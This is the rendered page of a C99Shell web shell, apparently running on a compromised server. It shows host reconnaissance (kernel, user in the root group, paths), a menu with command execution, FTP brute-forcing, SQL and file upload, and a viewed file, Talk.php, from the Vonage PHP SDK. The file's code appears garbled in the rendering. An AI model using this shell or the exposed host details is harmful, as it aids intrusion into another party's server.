!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Voice/NCCO/Action/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Talk.php (4.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\Voice\NCCO\Action;

use function 
array_key_exists;
use function 
filter_var;
use function 
is_null;

class 
Talk implements ActionInterface
{
    protected 
bool $bargeIn false;

    protected 
string $language '';

    protected 
int $languageStyle 0;

    protected ?
float $level 0;

    protected 
int $loop 1;

    protected 
bool $premium false;

    public function 
__construct(protected ?string $text null)
    {
    }

    
/**
     * @param array{text: string, bargeIn?: bool, level?: float, style? : string, language?: string, premium?: bool, loop?: int} $data
     */
    
public static function factory(string $text, array $data): Talk
    
{
        
$talk = new Talk($text);

        if (
array_key_exists('voiceName'$data)) {
            
trigger_error(
                
'voiceName is deprecated and will not be added to the NCCO',
                
E_USER_DEPRECATED
            
);
        }

        if (
array_key_exists('bargeIn'$data)) {
            
$talk->setBargeIn(
                
filter_var($data['bargeIn'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE])
            );
        }

        if (
array_key_exists('premium'$data)) {
            
$talk->setPremium(
                
filter_var($data['premium'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE])
            );
        }

        if (
array_key_exists('level'$data)) {
            
$talk->setLevel(
                
filter_var($data['level'], FILTER_VALIDATE_FLOAT, ['flags' => FILTER_NULL_ON_FAILURE])
            );
        }

        if (
array_key_exists('loop'$data)) {
            
$talk->setLoop(
                
filter_var($data['loop'], FILTER_VALIDATE_INT, ['flags' => FILTER_NULL_ON_FAILURE])
            );
        }

        if (
array_key_exists('language'$data)) {
            if (
array_key_exists('style'$data)) {
                
$talk->setLanguage($data['language'], (int) $data['style']);
            } else {
                
$talk->setLanguage($data['language']);
            }
        }

        return 
$talk;
    }

    public function 
getBargeIn(): ?bool
    
{
        return 
$this->bargeIn;
    }

    public function 
getLevel(): ?float
    
{
        return 
$this->level;
    }

    public function 
getLoop(): ?int
    
{
        return 
$this->loop;
    }

    public function 
getText(): string
    
{
        return 
$this->text;
    }

    
/**
     * @return array{action: string, bargeIn: bool, level: float, loop: int, text: string}
     */
    
public function jsonSerialize(): array
    {
        return 
$this->toNCCOArray();
    }

    public function 
setBargeIn(bool $value): self
    
{
        
$this->bargeIn $value;
        return 
$this;
    }

    
/**
     * @return $this
     */
    
public function setLevel(float $level): self
    
{
        
$this->level $level;

        return 
$this;
    }

    public function 
setLoop(int $times): self
    
{
        
$this->loop $times;

        return 
$this;
    }

    
/**
     * @return $this
     */
    
public function setPremium(bool $premium): self
    
{
        
$this->premium $premium;

        return 
$this;
    }

    public function 
getPremium(): bool
    
{
        return 
$this->premium;
    }

    
/**
     * @return array{action: string, bargeIn: bool, level: string, loop: string, text: string, premium: string, language: string, style: string}
     */
    
public function toNCCOArray(): array
    {
        
$data = [
            
'action' => 'talk',
            
'text' => $this->getText(),
        ];

        if (!
is_null($this->getBargeIn())) {
            
$data['bargeIn'] = $this->getBargeIn() ? 'true' 'false';
        }

        if (!
is_null($this->getLevel())) {
            
$data['level'] = (string)$this->getLevel();
        }

        if (!
is_null($this->getLoop())) {
            
$data['loop'] = (string)$this->getLoop();
        }

        if (
$this->getLanguage()) {
            
$data['language'] = $this->getLanguage();
            
$data['style'] = (string) $this->getLanguageStyle();
        }

        if (!
is_null($this->getPremium())) {
            
$data['premium'] = $this->getPremium() ? 'true' 'false';
        }

        return 
$data;
    }

    public function 
setLanguage(string $languageint $style 0): self
    
{
        
$this->language $language;
        
$this->languageStyle $style;

        return 
$this;
    }

    public function 
getLanguage(): ?string
    
{
        return 
$this->language;
    }

    public function 
getLanguageStyle(): int
    
{
        return 
$this->languageStyle;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.029 ]--